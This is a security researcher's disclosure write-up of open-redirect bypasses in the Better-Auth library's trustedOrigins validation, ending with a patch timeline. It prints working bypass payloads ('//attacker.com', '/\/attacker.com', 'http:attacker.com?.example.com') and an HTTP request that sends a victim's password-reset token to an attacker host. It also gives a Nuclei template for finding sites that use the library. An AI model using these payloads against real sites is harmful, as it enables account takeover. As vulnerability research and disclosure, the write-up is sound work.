Bypass Better-Auth trustedOrigins Protection leads to ATO

Like starting recon scripts from scratch from time to time just because we feel like it, I decided to do that for my blog and it's design in general. While looking to showcase websites from UI libraries because, why reinvent the wheel when we can just copy paste components from UI libraries, , I found a company named Better-Auth. so I went to their website to get some web design ideias for mine.

Better-auth, with over 40,000+ weekly downloads and 350,000+ downloads in total, is a open source library written in Typescript that makes authentication easier for companies to implement into their websites, handling all sorts of authentication types, from the usual email signin, to signin with magic links, social media and others. While looking around the good looking website, and because I work in this field, out of curiosity I checked their security features and security issues on github which was when one feature caught my interest.


Open Redirect Protection


Any endpoint added to a Better Auth instance, whether from a plugin or the core, should only use callbackURL,currentURL, or redirectTo for redirecting users post-action. These values are validated against trustedOrigins for security. Additionally, no endpoint handling GET requests should modify resources unless it has its own protection mechanisms in place.



From past pentest experiences, I knew that a open redirect could be a big issue here, as a attacker could potentially use the Open Redirect vulnerability not only to redirect website users to the attackers website but to also leak important tokens if they are present in the URL itself. So I decided to further investigate how they check if a URL provided by the user is part of the trustedOrigins.



Example trustedOrigins


To declare the trustedOrigins in a better-auth instance, all the user got to do is to instance the array itself. This example is from the packages/better-auth/src/api/middlewares/origin-check.test.ts file that works as a test file to check if trustedOrigins is doing what is suppose to be doing:


describe("Origin Check", async (it) => {
	const { customFetchImpl, testUser } = await getTestInstance({
		trustedOrigins: [
			"http://localhost:5000",
			"https://trusted.com",
			"*.my-site.com",
		],
		emailAndPassword: {
			enabled: true,
			async sendResetPassword(url, user) {},
		},
		advanced: {
			disableCSRFCheck: false,
		},
	});

	it("should not allow untrusted origins", async (ctx) => {
		const client = createAuthClient({
			baseURL: "http://localhost:3000",
			fetchOptions: {
				customFetchImpl,
			},
		});
		const res = await client.signIn.email({
			email: "test@test.com",
			password: "password",
			callbackURL: "http://malicious.com",
		});
		expect(res.error?.status).toBe(403);
		expect(res.error?.message).toBe("Invalid callbackURL");
	});
// ...

This is interesting because not only handles absolute URLs but it also handles subdomains under a certain wildcard. In this example, we can see if a trustedOrigins array being instanced and used as fetchOptions in the request. The expected behaviour is that the request will be rejected and return "Invalid callbackURL" because http://malicious.com is not part of the trustedOrigins.



Origin Check Middleware


Every request made using better-auth, it first goes throught a middleware where the values from certain parameters are validaded against the trustedOrigins array. We can see the code of the middleware at packages/better-auth/src/api/middlewares/origin-check.ts, line 11, where we can resume it to the following code:


// ...
const validateURL = (url: string | undefined, label: string) => {
    if (!url) {
        return;
    }
    const isTrustedOrigin = trustedOrigins.some(
        (origin) =>
            matchesPattern(url,origin) ||
            (url?.startsWith("/") && label !== "origin" && !url.includes(":")),
    );
    if (!isTrustedOrigin) {
        ctx.context.logger.error(`Invalid ${label}: ${url}`);
        ctx.context.logger.info(
            `If it's a valid URL, please add ${url} to trustedOrigins in your auth config
`,
            `Current list of trustedOrigins: ${trustedOrigins}`,
        );
        throw new APIError("FORBIDDEN", { message: `Invalid ${label}` });
    }
};

callbackURL && validateURL(callbackURL, "callbackURL");
redirectURL && validateURL(redirectURL, "redirectURL");
errorCallbackURL && validateURL(errorCallbackURL, "errorCallbackURL");
newUserCallbackURL && validateURL(newUserCallbackURL, "newUserCallbackURL");
// ...

In the code we can check the parameters being validaded against the trustedOrigins array:


  • callbackURL - A url to redirect after the user authenticates with the provider
  • redirectURL - A url to redirect the user after the request is made
  • errorCallbackURL - A url to redirect if an error occurs during the sign in process
  • newUserCallbackURL - A url to redirect if the user is newly registered

This parameters first go into the validateURL() function where their values will be checked against the origins instanced in the trustedOrigins array. For that, the following condition is used which will return true if the user input URL is a valid trusted origin or return false which will raise a API error as seen above in the code above.


matchesPattern(url,origin) || (url?.startsWith("/") && label !== "origin" && !url.includes(":"))

Taking a look into the matchesPattern() function, we find the following checks:


File packages/better-auth/src/api/middlewares/origin-check.ts, line 25:


const matchesPattern = (url: string, pattern: string): boolean => {
    if (url.startsWith("/")) {
        return false;
    }
    
    // Check for wildcard trustedOrigins config ex: *.example.com
    if (pattern.includes("*")) {
        return wildcardMatch(pattern)(getHost(url));   
    }                                                   
    
    // Check for absolute URLs ex: https://example.com
    const protocol = getProtocol(url);
    return protocol === "http:" || protocol === "https:" || !protocol
        ? pattern === getOrigin(url)
        : url.startsWith(pattern);
};

First, we have a check that verifies if our URL provided dosesn't start with / and then other check that verifies if the trustedConfig origin is a wildcard, ex: *.example.com. If both conditions are false then it gets the protocol from our url, checks if it's a http/s protocol, if so does a === comparison , if not then checks if our the URL starts with the pattern, ex: https://example.com. That being said, let's move on to the vulnerabilities around this condition.



Bypass absolute trustedOrigins config


Let's say we have the following trustedOrigins config.


trustedOrigins = [ "https://example.com" ]

Our input url goes into the getProtocol() function and then, depending on the bollean value returned, a comparison with our input is made using the the getOrigin() function against the absolute trusted origin from the config or checks if our input starts with the trusted origin itself. We can see the code from both functions bellow:


File packages/better-auth/src/utils/url.ts, line 46:


export function getOrigin(url: string) {
	try {
		const parsedUrl = new URL(url);
		return parsedUrl.origin;
	} catch (error) {
		return null;
	}
}

export function getProtocol(url: string) {
	try {
		const parsedUrl = new URL(url);
		return parsedUrl.protocol;
	} catch (error) {
		return null;
	}
}

Both functions are using the URL() class, that follows the WHATWG URL Standards, which is good and the recommended ( unlike url.parse that is vulnerable to hostname spoofing ) and if the user input is not a url then it will just return null which is beeing verified with !protocol. So what can we do here ? From what I know, nothing, good checks are in place and everything seems correct, plus, there was no way to get throught the === and .startswith verifications without our remote URL beeing denied.

However, there's a second part to the condition:


(url?.startsWith("/") && label !== "origin" && !url.includes(":"))

This condition, based on what I assume was the developer's intention, is meant to check if it's a simple local path, ex /dashboard. That's why it verifies if it starts with /, that our input is not destinated to the origin header and that our input does not include :. The problem here is that the developer didn't took into account relative special schemes, meaning a URL can also be interpreted as //example.com by the WHATWG URL Standards. We can resume this bypass to the following:


/*
    trustedOrigins = [ "https://example.com" ]

                FALSE               OR               TRUE
    matchesPattern(url,origin)      ||       (url?.startsWith("/") && label !== "origin" && !url.includes(":"))
*/

validateURL("https://example.com", "callbackURL")  // ✅ Redirect to https://example.com
validateURL("https://attacker.com", "callbackURL") // ❌ APIError, No Redirect
validateURL("//attacker.com", "callbackURL")       // ✅ Redirect to http://attacker.com

Even tho the function matchesPattern() returns false, our arbitrary URL will still be a valid trusted origin because our payload //attacker.com checks all the conditions in the second part, thus returning as a trusted origin in the eyes of better-auth, leading to a Open Redirect vulnerability.


Sigh ...


I wanted to get a sense of the vulnerability impact before reporting it, so I decided to hold on to it for some days (and because I was occupied with in real life stuff). Sadly, the same day that I was writing my report to Better-auth, I noticed a new commit published 5 hours before. Turns out, 2 other researchers reported the same vulnerability and the commit, was to patch the same vulnerability, all within the same day. Sad but deserved, kudos to the researchers Sumeet and Shivaraj. Checking out the patch, we can see that the code remained the same, but now, it checks if the URL starts with //.


        const isTrustedOrigin = trustedOrigins.some(
				(origin) =>
					matchesPattern(url, origin) ||
-   				(url?.startsWith("/") && label !== "origin" && !url.includes(":")), 
+   				(url?.startsWith("/") &&
+   					label !== "origin" &&
+   					!url.includes(":") &&
+   					!url.includes("//")), 
			);
			if (!isTrustedOrigin) {
				ctx.context.logger.error(`Invalid ${label}: ${url}`);

Luckily for me, the patch itself was insufficient to fully fix the vulnerability, so an attacker could still bypass it using /\/attacker.com because again, the WHATWG URL parser treats this as a malformed path but will happilly fix our URL to https://attacker.com. You can try it in your browser console:


> new URL("/\/attacker.com", "https://0.0.0.0").href
https://attacker.com

Bypass wildcard *. trustedOrigin config


Let's say we have the following trustedOrigins config.


trustedOrigins = [ "*.example.com" ]

Unlike the first bypass, with this configuration, our input will endup in the following line, where our pattern (in this config being *.example.com) will be used as a argument to generate a regular expression-based matching function:


// ...
// Check for wildcard trustedOrigins config ex: *.example.com
if (pattern.includes("*")) {
    return wildcardMatch(pattern)(getHost(url));
} 
 // ...

File packages/better-auth/src/utils/wildcard.ts, line 238


// wildcardMatch() function code ...
// input  pattern = "*.example.com"
// output pattern = [^/\]*?.example.com[/\]*?

regexpPattern = transform(pattern, options.separator);
let regexp = new RegExp(`^${regexpPattern}$`, options.flags);

let fn = isMatch.bind(null, regexp) as isMatch;
fn.options = options;
fn.pattern = pattern;
fn.regexp = regexp;
return fn;
// ...

As we can see from the function, the transform() function will create a regexpPattern from the pattern given in the config. With some local debugging, I found out the regex will result in [^/\\]*?\.example\.com[/\\]*? and after, will return a expression based matching function. However, before the actual regex matching step, our input will enter into the getHost() function.

File packages/better-auth/src/utils/url.ts, line 69


export function getHost(url: string) {
	if (url.includes("://")) {
		const parsedUrl = new URL(url);
		return parsedUrl.host;
	}
	return url;
}   

Like the getOrigin() and getProtocol() functions seen above, this function also uses new URL however, it only uses it if the user input includes :// and if does not include it, then the function will return whatever supposed host we gave to it. Now that we know we can input whatever we want as a long we don't include ://, time to check the security of the regex itself.



  ┌──────────────────┐       ┌────────────────┐       ┌─────────────────┐
  │ None of [ "/\" ] │ ────▶ │ ".example.com" │ ────▶ │ One of [ "/\" ] │
  └──────────────────┘       └────────────────┘       └─────────────────┘
          demo                  .example.com                    /               ✅ Redirect to https://example.com
          demo                  .attacker.com                   /               ❌ APIError, no redirect
   http:attacker.com?           .example.com                    /               ✅ Redirect to http://attacker.com

As we can see from the graphic representation above, the regex does not allow us to insert /\ before ".example.com" which is good if / and \ were the only special characters in a URL, however, we can actually bypass this regex using the characters ? and :.

This 2 characters (there's more) have a special meaning in a URL, for example ? starts the query string, passing parameters to the server and : separates parts of a URL, like scheme, port, user info, etc ... meaning we can use this payload, http:attacker.com?.example.com.

This works because we first include what is beeing validaded (.example.com) and because we can include whatever we want at the begining as long is not /\, meaning we can insert http: which will a valid website http:// schema, and ? which after the the redirect to http://attacker.com, will serve to make to make everything after ?, a parameter thus being ignored.


/*
    trustedOrigins = [ "*.example.com" ]

                TRUE                OR               FALSE
    matchesPattern(url,origin)      ||       (url?.startsWith("/") && label !== "origin" && !url.includes(":"))
*/

validateURL("demo.example.com", "callbackURL")                 // ✅ Redirect to https://example.com
validateURL("demo.attacker.com", "callbackURL")                // ❌ APIError, No Redirect
validateURL("http:attacker.com?.example.com", "callbackURL")   // ✅ Redirect to http://attacker.com

Stealing Reset Password Tokens


This open redirect vulnerability allows a attacker to potentially steal password reset tokens by rederecting the tokens to the attacker server when the victim clicks on the link.

1. The attacker goes into the Forgot Password and inserts the open redirect payload:


POST /api/auth/forget-password HTTP/1.1
Host: demo.▇▇▇▇-auth.com
Content-Length: 70
Origin: https://demo.▇▇▇▇-auth.com

{
    "email":"victim@victim_email.com",
    "redirectTo":"/\/attacker.com"
}

2. The victim will receive a email containing the content bellow. When the victim clicks on the link, he will be redirected tohttps://attacker.com with the password reset token attach to it https://attacker.com/?token=8vkoCzMXgYs9WALU4XFUTMgE.



Nuclei Template


This nuclei template was made to try to identify if a website is using better-auth. It uses headless browser in order to load the javascript and then it fetches the loaded javascript files, checks for certain keywords in every javascript file that identify if the library is being used or not. This was made while I was holding to the first vulnerability to check the overall use of the library in the wild and how many websites were vulnerable at that moment. Initially, I had a template to check a certain path but that can trigger sFalse Negatives because the default path can be changed.


id: better-auth-check

info:
  name: Better Auth library check
  author: castilho
  severity: info

headless:
  - steps:
    - action: navigate
      args:
        url: "{{BaseURL}}"
    - action: waitidle
    - action: script
      name: extract
      args:
        code: |
          () => {
            let scriptContents = [];
            let foundBetterAuthError = false;
            
            // Extract script file URLs from loaded resources
            let entries = performance.getEntriesByType('resource');
            let scriptUrls = entries.filter(entry => entry.initiatorType === 'script').map(entry => entry.name);
            
            // Extract script URLs from <link rel="modulepreload"> tags
            document.querySelectorAll('link[rel="modulepreload"][as="script"][href]').forEach(link => {
              scriptUrls.push(link.href);
            });
            
            // Fetch external script contents
            let scriptPromises = scriptUrls.map(url => fetch(url)
              .then(response => response.text())
              .then(content => scriptContents.push(content))
              .catch(error => scriptContents.push(`Error fetching ${url}: ${error}`))
            );
            
            return Promise.all(scriptPromises).then(() => {
              return scriptContents.join('\n\n---\n\n');
            });
          }


    extractors:
      - type: regex
        part: extract
        regex:
          - (BetterAuthError|BETTER_AUTH_URL|PUBLIC_BETTER_AUTH_URL|NUXT_PUBLIC_BETTER_AUTH_URL|NEXT_PUBLIC_BETTER_AUTH_URL|better-auth-client)




End


After submitting my report in a worrie so that other researchers don't report it first again, a patch for it was released and a GitHub Advisory given, also, thanks to the owner of the library for fixing the vulnerability within a few hours. You can also check this link to play around with the code for this vulnerability, in this link. Thank you for taking time of your day to read this post, best regards, castilho.


Timeline


Date & TimeEvent
24/02/2025Report Submitted
24/02/2025Report gets triggered and vendor is contacted
24/02/2025Patch for the vulnerability is released